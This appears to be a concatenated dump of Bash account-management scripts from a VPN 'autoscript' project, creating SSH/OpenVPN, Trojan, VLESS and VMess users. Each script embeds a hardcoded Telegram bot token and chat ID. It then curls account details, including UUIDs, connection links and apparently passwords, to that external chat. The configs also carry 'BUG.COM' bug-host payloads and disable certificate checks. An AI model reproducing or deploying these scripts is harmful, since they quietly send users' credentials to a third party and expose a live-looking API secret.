OVPN Account 82 | ─────────────────────────── 83 | Username : $LOGIN 84 | Password : $PASSWD 85 | Expired : $exp 86 | ─────────────────────────── 87 | IP : $IP 88 | Host : $domain 89 | Host Slowdns : ${NS} 90 | Pub Key : ${PUB} 91 | Location : $CITY 92 | Port OpenSSH : 443, 80, 22 93 | Port Dropbear : 443, 109 94 | Port Dropbear WS : 443, 109 95 | Port UDP-Custom : 1-65535 96 | Port DNS : 443, 53, 22 97 | Port SSH WS : 80 98 | Port SSH SSL WS : 443 99 | Port SSL/TLS : 443 100 | Port OVPN WS SSL : 443 101 | Port OVPN SSL : 443 102 | Port OVPN TCP : 443, 1194 103 | Port OVPN UDP : 2200 104 | Proxy Squid : 3128 105 | BadVPN UDP : 7100, 7200, 7300 106 | ─────────────────────────── 107 | Payload WSS : GET wss://BUG.COM/ HTTP/1.1[crlf]Host: $domain[crlf]Upgrade: websocket[crlf][crlf] 108 | ─────────────────────────── 109 | OpenVPN WS SSL : https://$domain:81/"$domain"-ws-ssl.ovpn 110 | OpenVPN SSL : https://$domain:81/"$domain"-ssl.ovpn 111 | OpenVPN TCP : https://$domain:81/"$domain"-tcp.ovpn 112 | OpenVPN UDP : https://$domain:81/"$domain"-udp.ovpn 113 | ─────────────────────────── 114 | Save Link Account: https://$domain:81/ssh-$LOGIN.txt 115 | ─────────────────────────── 116 | " 117 | curl -s --max-time $TIMES -d "chat_id=$CHATID&disable_web_page_preview=1&text=$TEXT&parse_mode=html" $URL 118 | clear 119 | echo -e "\033[1;93m───────────────────────────\033[0m" | tee -a /etc/nevermoressh/user.log 120 | echo -e "\e[42m SSH OVPN Account \E[0m" | tee -a /etc/nevermoressh/user.log 121 | echo -e "\033[1;93m───────────────────────────\033[0m" | tee -a /etc/nevermoressh/user.log 122 | echo -e "Username : $LOGIN" | tee -a /etc/nevermoressh/user.log 123 | echo -e "Password : $PASSWD" | tee -a /etc/nevermoressh/user.log 124 | echo -e "Expired : $exp" | tee -a /etc/nevermoressh/user.log 125 | echo -e "\033[1;93m───────────────────────────\033[0m" | tee -a /etc/nevermoressh/user.log 126 | echo -e "IP : $IP" | tee -a /etc/nevermoressh/user.log 127 | echo -e "Host : $domain" | tee -a /etc/nevermoressh/user.log 128 | echo -e "Host Slowdns : ${NS}" | tee -a /etc/nevermoressh/user.log 129 | echo -e "Pub Key : ${PUB}" | tee -a /etc/nevermoressh/user.log 130 | #echo -e "Location : $CITY" | tee -a /etc/nevermoressh/user.log 131 | echo -e "Port OpenSSH : 443, 80, 22" | tee -a /etc/nevermoressh/user.log 132 | echo -e "Port DNS : 443, 53 ,22 " | tee -a /etc/nevermoressh/user.log 133 | echo -e "Port Dropbear : 443, 109" | tee -a /etc/nevermoressh/user.log 134 | echo -e "Port Dropbear WS : 443, 109" | tee -a /etc/nevermoressh/user.log 135 | echo -e "Port UDP-Custom : 1-65535" | tee -a /etc/nevermoressh/user.log 136 | echo -e "Port SSH WS : 80 " | tee -a /etc/nevermoressh/user.log 137 | echo -e "Port SSH SSL WS : 443" | tee -a /etc/nevermoressh/user.log 138 | echo -e "Port SSL/TLS : 443" | tee -a /etc/nevermoressh/user.log 139 | echo -e "Port OVPN WS SSL : 443" | tee -a /etc/nevermoressh/user.log 140 | echo -e "Port OVPN SSL : 443" | tee -a /etc/nevermoressh/user.log 141 | echo -e "Port OVPN TCP : 443, 1194" | tee -a /etc/nevermoressh/user.log 142 | echo -e "Port OVPN UDP : 2200" | tee -a /etc/nevermoressh/user.log 143 | echo -e "Proxy Squid : 3128" | tee -a /etc/nevermoressh/user.log 144 | echo -e "BadVPN UDP : 7100, 7200, 7300" | tee -a /etc/nevermoressh/user.log 145 | echo -e "\033[1;93m───────────────────────────\033[0m" | tee -a /etc/nevermoressh/user.log 146 | echo -e "Payload WSS : GET wss://BUG.COM/ HTTP/1.1[crlf]Host: $domain[crlf]Upgrade: websocket[crlf][crlf]" | tee -a /etc/nevermoressh/user.log 147 | echo -e "\033[1;93m───────────────────────────\033[0m" | tee -a /etc/nevermoressh/user.log 148 | echo -e "OpenVPN WS SSL : https://$domain:81/"$domain"-ws-ssl.ovpn" | tee -a /etc/nevermoressh/user.log 149 | echo -e "OpenVPN SSL : https://$domain:81/"$domain"-ssl.ovpn" | tee -a /etc/nevermoressh/user.log 150 | echo -e "OpenVPN TCP : https://$domain:81/"$domain"-tcp.ovpn" | tee -a /etc/nevermoressh/user.log 151 | echo -e "OpenVPN UDP : https://$domain:81/"$domain"-udp.ovpn" | tee -a /etc/nevermoressh/user.log 152 | echo -e "\033[1;93m───────────────────────────\033[0m" | tee -a /etc/nevermoressh/user.log 153 | echo -e "Save Link Account: https://$domain:81/ssh-$LOGIN.txt" 154 | echo -e "\033[1;93m───────────────────────────\033[0m" | tee -a /etc/nevermoressh/user.log 155 | echo -e "" | tee -a /etc/nevermoressh/user.log 156 | read -n 1 -s -r -p "Press any key to back on menu" 157 | menu 158 | -------------------------------------------------------------------------------- /update/add-tr: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # //==================================================== 3 | # // System Request:Debian 9+/Ubuntu 18.04+/20+ 4 | # // Author: elliez 5 | # // Dscription: Xray Menu Management 6 | # // email: elliez667@gmail.com 7 | # // telegram: https://t.me/todfix667 8 | # //==================================================== 9 | # // font color configuration | NEVERMORESSH AUTOSCRIPT 10 | red() { echo -e "\\033[32;1m${*}\\033[0m"; } 11 | domain=$(cat /etc/xray/domain) 12 | PUB=$(cat /etc/slowdns/server.pub) 13 | CITY=$(cat /etc/xray/city) 14 | NS=$(cat /etc/xray/dns) 15 | TIMES="10" 16 | CHATID="-1001891259267" 17 | KEY="2145515560:AAE9WqfxZzQC-FYF1VUprICGNomVfv6OdTU" 18 | URL="https://api.telegram.org/bot$KEY/sendMessage" 19 | clear 20 | until [[ $user =~ ^[a-zA-Z0-9_]+$ && ${user_EXISTS} == '0' ]]; do 21 | echo -e "\033[1;93m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\033[0m" 22 | echo -e "\e[42m Add Xray/Trojan Account \E[0m" 23 | echo -e "\033[1;93m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\033[0m" 24 | 25 | read -rp "User: " -e user 26 | user_EXISTS=$(grep -w $user /etc/xray/config.json | wc -l) 27 | 28 | if [[ ${user_EXISTS} == '1' ]]; then 29 | clear 30 | echo -e "\033[1;93m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\033[0m" 31 | echo -e "\e[42m Add Xray/Trojan Account \E[0m" 32 | echo -e "\033[1;93m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\033[0m" 33 | echo "" 34 | echo "A client with the specified name was already created, please choose another name." 35 | echo "" 36 | echo -e "\033[1;93m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\033[0m" 37 | read -n 1 -s -r -p "Press any key to back on menu" 38 | menu 39 | fi 40 | done 41 | uuid=$(cat /proc/sys/kernel/random/uuid) 42 | read -p "Expired (days): " masaaktif 43 | read -p "Limit User (GB): " Quota 44 | exp=$(date -d "$masaaktif days" +"%Y-%m-%d") 45 | sed -i '/#trojanws$/a\#! '"$user $exp"'\ 46 | },{"password": "'""$uuid""'","email": "'""$user""'"' /etc/xray/config.json 47 | sed -i '/#trojangrpc$/a\#! '"$user $exp"'\ 48 | },{"password": "'""$uuid""'","email": "'""$user""'"' /etc/xray/config.json 49 | cat >/var/www/html/trojan-$user.txt <<-END 50 | ==================================================================== 51 | P R O J E C T O F N E V E R M O R E S S H 52 | [Freedom Internet] 53 | ==================================================================== 54 | https://github.com/NevermoreSSH/VVV 55 | ==================================================================== 56 | Format Trojan GO/WS (CDN) 57 | ==================================================================== 58 | 59 | - name: Trojan-$user-GO/WS (CDN) 60 | server: ${domain} 61 | port: 443 62 | type: trojan 63 | password: ${uuid} 64 | network: ws 65 | sni: ${domain} 66 | skip-cert-verify: true 67 | udp: true 68 | ws-opts: 69 | path: /trojan-ws 70 | headers: 71 | Host: ${domain} 72 | _______________________________________________________ 73 | Format Trojan gRPC 74 | _______________________________________________________ 75 | 76 | - name: Trojan-$user-gRPC (SNI) 77 | type: trojan 78 | server: ${domain} 79 | port: 443 80 | password: ${uuid} 81 | udp: true 82 | sni: ${domain} 83 | skip-cert-verify: true 84 | network: grpc 85 | grpc-opts: 86 | grpc-service-name: trojan-grpc 87 | 88 | _______________________________________________________ 89 | Link Trojan Account 90 | _______________________________________________________ 91 | Link WS : trojan://${uuid}@${domain}:443?path=%2Ftrojan-ws&security=tls&host=${domain}&type=ws&sni=${domain}#${user} 92 | _______________________________________________________ 93 | Link GRPC : trojan://${uuid}@${domain}:443?mode=gun&security=tls&type=grpc&serviceName=trojan-grpc&sni=${domain}#${user} 94 | _______________________________________________________ 95 | 96 | 97 | 98 | END 99 | systemctl restart xray 100 | systemctl restart nginx 101 | service cron restart 102 | trojanlink="trojan://${uuid}@${domain}:443?path=%2Ftrojan-ws&security=tls&host=${domain}&type=ws&sni=${domain}#${user}" 103 | trojanlink1="trojan://${uuid}@${domain}:443?mode=gun&security=tls&type=grpc&serviceName=trojan-grpc&sni=${domain}#${user}" 104 | if [ ! -e /etc/trojan ]; then 105 | mkdir -p /etc/trojan 106 | fi 107 | 108 | if [ -z ${Quota} ]; then 109 | Quota="0" 110 | fi 111 | 112 | c=$(echo "${Quota}" | sed 's/[^0-9]*//g') 113 | d=$((${c} * 1024 * 1024 * 1024)) 114 | 115 | if [[ ${c} != "0" ]]; then 116 | echo "${d}" >/etc/trojan/${user} 117 | fi 118 | DATADB=$(cat /etc/trojan/.trojan.db | grep "^###" | grep -w "${user}" | awk '{print $2}') 119 | if [[ "${DATADB}" != '' ]]; then 120 | sed -i "/\b${user}\b/d" /etc/trojan/.trojan.db 121 | fi 122 | echo "### ${user} ${exp} ${uuid}" >>/etc/trojan/.trojan.db 123 | curl -s --max-time $TIMES -d "chat_id=$CHATID&disable_web_page_preview=1&text=$TEXT&parse_mode=html" $URL 124 | clear 125 | echo -e "\033[1;93m───────────────────────────\033[0m" | tee -a /etc/nevermoressh/user.log 126 | echo -e "\e[42m Xray/Trojan Account \E[0m" | tee -a /etc/nevermoressh/user.log 127 | echo -e "\033[1;93m───────────────────────────\033[0m" | tee -a /etc/nevermoressh/user.log 128 | echo -e "Remarks : ${user}" | tee -a /etc/nevermoressh/user.log 129 | echo -e "Host : ${domain}" | tee -a /etc/nevermoressh/user.log 130 | echo -e "Host Slowdns: ${NS}" | tee -a /etc/nevermoressh/user.log 131 | echo -e "Pub Key : ${PUB}" | tee -a /etc/nevermoressh/user.log 132 | #echo -e "Location : $CITY" | tee -a /etc/nevermoressh/user.log 133 | echo -e "User Quota : ${Quota} GB" | tee -a /etc/nevermoressh/user.log 134 | echo -e "Port DNS : 443, 53 " | tee -a /etc/nevermoressh/user.log 135 | echo -e "Port TLS : 443" | tee -a /etc/nevermoressh/user.log 136 | echo -e "port : 443" | tee -a /etc/nevermoressh/user.log 137 | echo -e "Key : ${uuid}" | tee -a /etc/nevermoressh/user.log 138 | echo -e "\033[1;93m───────────────────────────\033[0m" | tee -a /etc/nevermoressh/user.log 139 | echo -e "Link WS : ${trojanlink}" | tee -a /etc/nevermoressh/user.log 140 | echo -e "\033[1;93m───────────────────────────\033[0m" | tee -a /etc/nevermoressh/user.log 141 | echo -e "Link GRPC : ${trojanlink1}" | tee -a /etc/nevermoressh/user.log 142 | echo -e "\033[1;93m───────────────────────────\033[0m" | tee -a /etc/nevermoressh/user.log 143 | echo -e "Format OpenClash : https://${domain}:81/trojan-$user.txt" | tee -a /etc/nevermoressh/user.log 144 | echo -e "\033[1;93m───────────────────────────\033[0m" | tee -a /etc/nevermoressh/user.log 145 | echo -e "Expired On : $exp" | tee -a /etc/nevermoressh/user.log 146 | echo -e "\033[1;93m───────────────────────────\033[0m" | tee -a /etc/nevermoressh/user.log 147 | echo -e "" | tee -a /etc/nevermoressh/user.log 148 | read -n 1 -s -r -p "Press any key to back on menu" 149 | 150 | menu 151 | -------------------------------------------------------------------------------- /update/add-vless: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # //==================================================== 3 | # // System Request:Debian 9+/Ubuntu 18.04+/20+ 4 | # // Author: elliez 5 | # // Dscription: Xray Menu Management 6 | # // email: elliez667@gmail.com 7 | # // telegram: https://t.me/todfix667 8 | # //==================================================== 9 | # // font color configuration | NEVERMORESSH AUTOSCRIPT 10 | red() { echo -e "\\033[32;1m${*}\\033[0m"; } 11 | domain=$(cat /etc/xray/domain) 12 | PUB=$(cat /etc/slowdns/server.pub) 13 | CITY=$(cat /etc/xray/city) 14 | NS=$(cat /etc/xray/dns) 15 | TIMES="10" 16 | CHATID="-1001891259267" 17 | KEY="2145515560:AAE9WqfxZzQC-FYF1VUprICGNomVfv6OdTU" 18 | URL="https://api.telegram.org/bot$KEY/sendMessage" 19 | clear 20 | until [[ $user =~ ^[a-zA-Z0-9_]+$ && ${CLIENT_EXISTS} == '0' ]]; do 21 | echo -e "\033[1;93m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\033[0m" 22 | echo -e "\e[42m Add Xray/Vless Account \E[0m" 23 | echo -e "\033[1;93m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\033[0m" 24 | 25 | read -rp "User: " -e user 26 | CLIENT_EXISTS=$(grep -w $user /etc/xray/config.json | wc -l) 27 | 28 | if [[ ${CLIENT_EXISTS} == '1' ]]; then 29 | clear 30 | echo -e "\033[1;93m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\033[0m" 31 | echo -e "\e[42m Add Xray/Vless Account \E[0m" 32 | echo -e "\033[1;93m━━━━━━━━━━━━━━━━━━━━━━━━━━ 33 | ━━━━━━━━━━━━━━━\033[0m" 34 | echo "" 35 | echo "A client with the specified name was already created, please choose another name." 36 | echo "" 37 | echo -e "\033[1;93m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\033[0m" 38 | read -n 1 -s -r -p "Press any key to back on menu" 39 | menu 40 | fi 41 | done 42 | uuid=$(cat /proc/sys/kernel/random/uuid) 43 | read -p "Expired (days): " masaaktif 44 | read -p "Limit User (GB): " Quota 45 | exp=$(date -d "$masaaktif days" +"%Y-%m-%d") 46 | sed -i '/#vless$/a\#& '"$user $exp"'\ 47 | },{"id": "'""$uuid""'","email": "'""$user""'"' /etc/xray/config.json 48 | sed -i '/#vlessgrpc$/a\#& '"$user $exp"'\ 49 | },{"id": "'""$uuid""'","email": "'""$user""'"' /etc/xray/config.json 50 | cat >/var/www/html/vless-$user.txt <<-END 51 | ==================================================================== 52 | P R O J E C T O F N E V E R M O R E S S H 53 | [Freedom Internet] 54 | ==================================================================== 55 | https://github.com/NevermoreSSH/VVV 56 | ==================================================================== 57 | Format Vless WS (CDN) 58 | ==================================================================== 59 | 60 | - name: VlessTLS-$user-WS (CDN) 61 | server: ${domain} 62 | port: 443 63 | type: vless 64 | uuid: ${uuid} 65 | cipher: auto 66 | tls: true 67 | skip-cert-verify: true 68 | servername: ${domain} 69 | network: ws 70 | udp: true 71 | ws-opts: 72 | path: /vless 73 | headers: 74 | Host: ${domain} 75 | _______________________________________________________ 76 | Format Vless WS (CDN) Non TLS 77 | _______________________________________________________ 78 | - name: VlessNTLS-$user-WS (CDN) Non TLS 79 | server: ${domain} 80 | port: 80 81 | type: vless 82 | uuid: ${uuid} 83 | cipher: auto 84 | tls: false 85 | skip-cert-verify: false 86 | servername: ${domain} 87 | network: ws 88 | ws-opts: 89 | udp: true 90 | path: /vless 91 | headers: 92 | Host: ${domain} 93 | _______________________________________________________ 94 | Format Vless gRPC (SNI) 95 | _______________________________________________________ 96 | - name: Vless-$user-gRPC (SNI) 97 | server: ${domain} 98 | port: 443 99 | type: vless 100 | uuid: ${uuid} 101 | cipher: auto 102 | tls: true 103 | skip-cert-verify: true 104 | servername: ${domain} 105 | network: grpc 106 | grpc-opts: 107 | grpc-mode: gun 108 | grpc-service-name: vless-grpc 109 | udp: true 110 | 111 | _______________________________________________________ 112 | Link Vless Account 113 | _______________________________________________________ 114 | Link TLS : vless://${uuid}@${domain}:443?path=/vless&security=tls&encryption=none&type=ws#${user} 115 | _______________________________________________________ 116 | Link none TLS : vless://${uuid}@${domain}:80?path=/vless&encryption=none&type=ws#${user} 117 | _______________________________________________________ 118 | Link GRPC : vless://${uuid}@${domain}:443?mode=gun&security=tls&encryption=none&type=grpc&serviceName=vless-grpc&sni=${domain}#${user} 119 | _______________________________________________________ 120 | 121 | END 122 | vlesslink1="vless://${uuid}@${domain}:443?path=/vless&security=tls&encryption=none&type=ws#${user}" 123 | vlesslink2="vless://${uuid}@${domain}:80?path=/vless&encryption=none&type=ws#${user}" 124 | vlesslink3="vless://${uuid}@${domain}:443?mode=gun&security=tls&encryption=none&type=grpc&serviceName=vless-grpc&sni=${domain}#${user}" 125 | systemctl restart xray 126 | systemctl restart nginx 127 | service cron restart 128 | if [ ! -e /etc/vless ]; then 129 | mkdir -p /etc/vless 130 | fi 131 | 132 | if [ -z ${Quota} ]; then 133 | Quota="0" 134 | fi 135 | 136 | c=$(echo "${Quota}" | sed 's/[^0-9]*//g') 137 | d=$((${c} * 1024 * 1024 * 1024)) 138 | 139 | if [[ ${c} != "0" ]]; then 140 | echo "${d}" >/etc/vless/${user} 141 | fi 142 | DATADB=$(cat /etc/vless/.vless.db | grep "^###" | grep -w "${user}" | awk '{print $2}') 143 | if [[ "${DATADB}" != '' ]]; then 144 | sed -i "/\b${user}\b/d" /etc/vless/.vless.db 145 | fi 146 | echo "### ${user} ${exp} ${uuid}" >>/etc/vless/.vless.db 147 | curl -s --max-time $TIMES -d "chat_id=$CHATID&disable_web_page_preview=1&text=$TEXT&parse_mode=html" $URL 148 | clear 149 | echo -e "\033[1;93m───────────────────────────\033[0m" | tee -a /etc/nevermoressh/user.log 150 | echo -e "\e[42m Xray/Vless Account \E[0m" | tee -a /etc/nevermoressh/user.log 151 | echo -e "\033[1;93m───────────────────────────\033[0m" | tee -a /etc/nevermoressh/user.log 152 | echo -e "Remarks : ${user}" | tee -a /etc/nevermoressh/user.log 153 | echo -e "Domain : ${domain}" | tee -a /etc/nevermoressh/user.log 154 | echo -e "Host Slowdns: ${NS}" | tee -a /etc/nevermoressh/user.log 155 | echo -e "Pub Key : ${PUB}" | tee -a /etc/nevermoressh/user.log 156 | #echo -e "Location : $CITY" | tee -a /etc/nevermoressh/user.log 157 | echo -e "User Quota : ${Quota} GB" | tee -a /etc/nevermoressh/user.log 158 | echo -e "port TLS : 443" | tee -a /etc/nevermoressh/user.log 159 | echo -e "Port DNS : 443, 53 " | tee -a /etc/nevermoressh/user.log 160 | echo -e "Port NTLS : 80, 8080, 2086" | tee -a /etc/nevermoressh/user.log 161 | echo -e "User ID : ${uuid}" | tee -a /etc/nevermoressh/user.log 162 | echo -e "Encryption : none" | tee -a /etc/nevermoressh/user.log 163 | echo -e "Path TLS : /vless " | tee -a /etc/nevermoressh/user.log 164 | echo -e "ServiceName : vless-grpc" | tee -a /etc/nevermoressh/user.log 165 | echo -e "\033[1;93m───────────────────────────\033[0m" | tee -a /etc/nevermoressh/user.log 166 | echo -e "Link TLS : ${vlesslink1}" | tee -a /etc/nevermoressh/user.log 167 | echo -e "\033[1;93m───────────────────────────\033[0m" | tee -a /etc/nevermoressh/user.log 168 | echo -e "Link NTLS : ${vlesslink2}" | tee -a /etc/nevermoressh/user.log 169 | echo -e "\033[1;93m───────────────────────────\033[0m" | tee -a /etc/nevermoressh/user.log 170 | echo -e "Link GRPC : ${vlesslink3}" | tee -a /etc/nevermoressh/user.log 171 | echo -e "\033[1;93m───────────────────────────\033[0m" | tee -a /etc/nevermoressh/user.log 172 | echo -e "Format OpenClash : https://${domain}:81/vless-$user.txt" | tee -a /etc/nevermoressh/user.log 173 | echo -e "\033[1;93m───────────────────────────\033[0m" | tee -a /etc/nevermoressh/user.log 174 | echo -e "Expired On : $exp" | tee -a /etc/nevermoressh/user.log 175 | echo -e "\033[1;93m───────────────────────────\033[0m" | tee -a /etc/nevermoressh/user.log 176 | echo -e "" | tee -a /etc/nevermoressh/user.log 177 | read -n 1 -s -r -p "Press any key to back on menu" 178 | 179 | menu 180 | -------------------------------------------------------------------------------- /update/add-ws: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # //==================================================== 3 | # // System Request:Debian 9+/Ubuntu 18.04+/20+ 4 | # // Author: elliez 5 | # // Dscription: Xray Menu Management 6 | # // email: elliez667@gmail.com 7 | # // telegram: https://t.me/todfix667 8 | # //==================================================== 9 | # // font color configuration | NEVERMORESSH AUTOSCRIPT 10 | red() { echo -e "\\033[32;1m${*}\\033[0m"; } 11 | TIMES="10" 12 | CHATID="-1001891259267" 13 | KEY="2145515560:AAE9WqfxZzQC-FYF1VUprICGNomVfv6OdTU" 14 | URL="https://api.telegram.org/bot$KEY/sendMessage" 15 | domain=$(cat /etc/xray/domain) 16 | PUB=$(cat /etc/slowdns/server.pub) 17 | CITY=$(cat /etc/xray/city) 18 | NS=$(cat /etc/xray/dns) 19 | clear 20 | until [[ $user =~ ^[a-zA-Z0-9_]+$ && ${CLIENT_EXISTS} == '0' ]]; do 21 | clear 22 | echo -e "\033[1;93m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\033[0m" 23 | echo -e "\e[42m Add Xray/Vmess Account \E[0m" 24 | echo -e "\033[1;93m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\033[0m" 25 | 26 | read -rp "User: " -e user 27 | CLIENT_EXISTS=$(grep -w $user /etc/xray/config.json | wc -l) 28 | 29 | if [[ ${CLIENT_EXISTS} == '1' ]]; then 30 | clear 31 | echo -e "\033[1;93m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\033[0m" 32 | echo -e "\e[42m Add Xray/Vmess Account \E[0m" 33 | echo -e "\033[1;93m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\033[0m" 34 | echo "" 35 | echo "A client with the specified name was already created, please choose another name." 36 | echo "" 37 | echo -e "\033[1;93m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\033[0m" 38 | read -n 1 -s -r -p "Press any key to back on menu" 39 | menu 40 | fi 41 | done 42 | 43 | uuid=$(cat /proc/sys/kernel/random/uuid) 44 | read -p "Expired (days): " masaaktif 45 | read -p "Limit User (GB): " Quota 46 | exp=$(date -d "$masaaktif days" +"%Y-%m-%d") 47 | sed -i '/#vmess$/a\### '"$user $exp"'\ 48 | },{"id": "'""$uuid""'","alterId": '"0"',"email": "'""$user""'"' /etc/xray/config.json 49 | exp=$(date -d "$masaaktif days" +"%Y-%m-%d") 50 | sed -i '/#vmessgrpc$/a\### '"$user $exp"'\ 51 | },{"id": "'""$uuid""'","alterId": '"0"',"email": "'""$user""'"' /etc/xray/config.json 52 | VMESS_WS=`cat</var/www/html/vmess-$user.txt <<-END 113 | ==================================================================== 114 | P R O J E C T O F N E V E R M O R E S S H 115 | [Freedom Internet] 116 | ==================================================================== 117 | https://github.com/NevermoreSSH/VVV 118 | ==================================================================== 119 | Format Vmess WS (CDN) 120 | ==================================================================== 121 | 122 | - name: VmessTLS-$user-WS (CDN) 123 | type: vmess 124 | server: ${domain} 125 | port: 443 126 | uuid: ${uuid} 127 | alterId: 0 128 | cipher: auto 129 | udp: true 130 | tls: true 131 | skip-cert-verify: true 132 | servername: ${domain} 133 | network: ws 134 | ws-opts: 135 | path: /vmess 136 | headers: 137 | Host: ${domain} 138 | _______________________________________________________ 139 | Format Vmess WS (CDN) Non TLS 140 | _______________________________________________________ 141 | 142 | - name: VmessNTLS-$user-WS (CDN) Non TLS 143 | type: vmess 144 | server: ${domain} 145 | port: 80 146 | uuid: ${uuid} 147 | alterId: 0 148 | cipher: auto 149 | udp: true 150 | tls: false 151 | skip-cert-verify: false 152 | servername: ${domain} 153 | network: ws 154 | ws-opts: 155 | path: /vmess 156 | headers: 157 | Host: ${domain} 158 | _______________________________________________________ 159 | Format Vmess gRPC (SNI) 160 | _______________________________________________________ 161 | 162 | - name: Vmess-$user-gRPC (SNI) 163 | server: ${domain} 164 | port: 443 165 | type: vmess 166 | uuid: ${uuid} 167 | alterId: 0 168 | cipher: auto 169 | network: grpc 170 | tls: true 171 | servername: ${domain} 172 | skip-cert-verify: true 173 | grpc-opts: 174 | grpc-service-name: vmess-grpc 175 | 176 | _______________________________________________________ 177 | Link Vmess Account 178 | _______________________________________________________ 179 | Link TLS : vmess://$(echo $VMESS_WS | base64 -w 0) 180 | _______________________________________________________ 181 | Link none TLS : vmess://$(echo $VMESS_NON_TLS | base64 -w 0) 182 | _______________________________________________________ 183 | Link GRPC : vmess://$(echo $VMESS_GRPC | base64 -w 0) 184 | _______________________________________________________ 185 | 186 | END 187 | vmesslink1="vmess://$(echo $VMESS_WS | base64 -w 0)" 188 | vmesslink2="vmess://$(echo $VMESS_NON_TLS | base64 -w 0)" 189 | vmesslink3="vmess://$(echo $VMESS_GRPC | base64 -w 0)" 190 | vmesslink4="vmess://$(echo $VMESS_OPOK | base64 -w 0)" 191 | TEXT=" 192 | ─────────────────────────── 193 | Xray/Vmess Account 194 | ─────────────────────────── 195 | Remarks : ${user} 196 | Domain : ${domain} 197 | Host Slowdns : ${NS} 198 | Pub Key : ${PUB} 199 | Location : $CITY 200 | User Quota : ${Quota} GB 201 | Port TLS : 443 202 | Port DNS : 443, 53 203 | Port NTLS : 80, 8080, 2086 204 | Port GRPC : 443 205 | User ID : ${uuid} 206 | AlterId : 0 207 | Security : auto 208 | Network : WS or gRPC 209 | Path TLS : (/multi path) 210 | Path NLS : (/multi path) 211 | Path Dynamic : CF-XRAY:http://bug.com 212 | ServiceName : vmess-grpc 213 | ─────────────────────────── 214 | Link TLS : 215 | ${vmesslink1} 216 | ─────────────────────────── 217 | Link NTLS : 218 | ${vmesslink2} 219 | ─────────────────────────── 220 | Link GRPC : 221 | ${vmesslink3} 222 | ─────────────────────────── 223 | Format OpenClash : http://${domain}:81/vmess-$user.txt 224 | ─────────────────────────── 225 | Expired On : $exp 226 | " 227 | systemctl restart xray 228 | systemctl restart nginx 229 | service cron restart 230 | 231 | if [ ! -e /etc/vmess ]; then 232 | mkdir -p /etc/vmess 233 | fi 234 | 235 | if [ -z ${Quota} ]; then 236 | Quota="0" 237 | fi 238 | 239 | c=$(echo "${Quota}" | sed 's/[^0-9]*//g') 240 | d=$((${c} * 1024 * 1024 * 1024)) 241 | 242 | if [[ ${c} != "0" ]]; then 243 | echo "${d}" >/etc/vmess/${user} 244 | fi 245 | DATADB=$(cat /etc/vmess/.vmess.db | grep "^###" | grep -w "${user}" | awk '{print $2}') 246 | if [[ "${DATADB}" != '' ]]; then 247 | sed -i "/\b${user}\b/d" /etc/vmess/.vmess.db 248 | fi 249 | echo "### ${user} ${exp} ${uuid}" >>/etc/vmess/.vmess.db 250 | curl -s --max-time $TIMES -d "chat_id=$CHATID&disable_web_page_preview=1&text=$TEXT&parse_mode=html" $URL >/dev/null 251 | clear 252 | echo -e "\033[1;93m───────────────────────────\033[0m" | tee -a /etc/nevermoressh/user.log 253 | echo -e "\e[42m Xray/Vmess Account \E[0m" | tee -a /etc/nevermoressh/user.log 254 | echo -e "\033[1;93m───────────────────────────\033[0m" | tee -a /etc/nevermoressh/user.log 255 | echo -e "Remarks : ${user}" | tee -a /etc/nevermoressh/user.log 256 | echo -e "Domain : ${domain}" | tee -a /etc/nevermoressh/user.log 257 | echo -e "Host Slowdns : ${NS}" | tee -a /etc/nevermoressh/user.log 258 | echo -e "Pub Key : ${PUB}" | tee -a /etc/nevermoressh/user.log 259 | #echo -e "Location : $CITY" | tee -a /etc/nevermoressh/user.log 260 | echo -e "User Quota : ${Quota} GB" | tee -a /etc/nevermoressh/user.log 261 | echo -e "Port TLS : 443" | tee -a /etc/nevermoressh/user.log 262 | echo -e "Port NTLS : 80, 8080, 2086" | tee -a /etc/nevermoressh/user.log 263 | echo -e "Port DNS : 443, 53 " | tee -a /etc/nevermoressh/user.log 264 | echo -e "Port GRPC : 443" | tee -a /etc/nevermoressh/user.log 265 | echo -e "User ID : ${uuid}" | tee -a /etc/nevermoressh/user.log 266 | echo -e "AlterId : 0" | tee -a /etc/nevermoressh/user.log 267 | echo -e "Security : auto" | tee -a /etc/nevermoressh/user.log 268 | echo -e "Network : WS or gRPC" | tee -a /etc/nevermoressh/user.log 269 | echo -e "Path TLS : (/multi path) " | tee -a /etc/nevermoressh/user.log 270 | echo -e "Path NLS : (/multi path) " | tee -a /etc/nevermoressh/user.log 271 | echo -e "Path Dynamic : CF-XRAY:http://bug.com " | tee -a /etc/nevermoressh/user.log 272 | echo -e "ServiceName : vmess-grpc" | tee -a /etc/nevermoressh/user.log 273 | echo -e "\033[1;93m───────────────────────────\033[0m" | tee -a /etc/nevermoressh/user.log 274 | echo -e "Link TLS : ${vmesslink1}" | tee -a /etc/nevermoressh/user.log 275 | echo -e "\033[1;93m───────────────────────────\033[0m" | tee -a /etc/nevermoressh/user.log 276 | echo -e "Link NTLS : ${vmesslink2}" | tee -a /etc/nevermoressh/user.log 277 | echo -e "\033[1;93m───────────────────────────\033[0m" | tee -a /etc/nevermoressh/user.log 278 | echo -e "Link GRPC : ${vmesslink3}" | tee -a /etc/nevermoressh/user.log 279 | echo -e "\033[1;93m───────────────────────────\033[0m" | tee -a /etc/nevermoressh/user.log 280 | echo -e "Format OpenClash : https://${domain}:81/vmess-$user.txt" | tee -a /etc/nevermoressh/user.log 